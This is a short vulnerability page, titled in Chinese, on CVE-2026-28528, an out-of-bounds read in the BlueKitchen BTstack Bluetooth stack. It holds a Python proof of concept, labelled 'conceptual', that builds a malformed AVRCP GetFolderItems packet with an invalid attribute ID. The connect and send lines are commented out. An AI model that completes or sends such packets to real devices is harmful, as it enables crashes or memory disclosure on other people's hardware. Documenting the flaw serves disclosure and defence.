CVE-2026-28528 BlueKitchen BTstack越界读取漏洞

import socket import struct # Conceptual PoC for CVE-2026-28528 # Requires a paired Bluetooth connection and L2CAP channel access def send_malicious_avrcp_packet(target_mac, psm): # Connect to the target AVRCP channel # sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_SEQPACKET, socket.BTPROTO_L2CAP) # sock.connect((target_mac, psm)) # Construct GET_FOLDER_ITEMS PDU # PDU ID: 0x71 (GetFolderItems) # Manipulate attr_id to trigger out-of-bounds read pdu_id = b"\x71" param_length = struct.pack("<H", 10) # Arbitrary length # Malicious attribute ID list with invalid count/index # causing the handler to read past the buffer malicious_attr_id = b"\xFF\xFF" # Invalid ID packet = pdu_id + param_length + malicious_attr_id # sock.send(packet) # print(f"[+] Malicious packet sent to {target_mac}") # sock.close() pass # Note: Actual exploitation requires handling L2CAP connection setup and SDP lookup.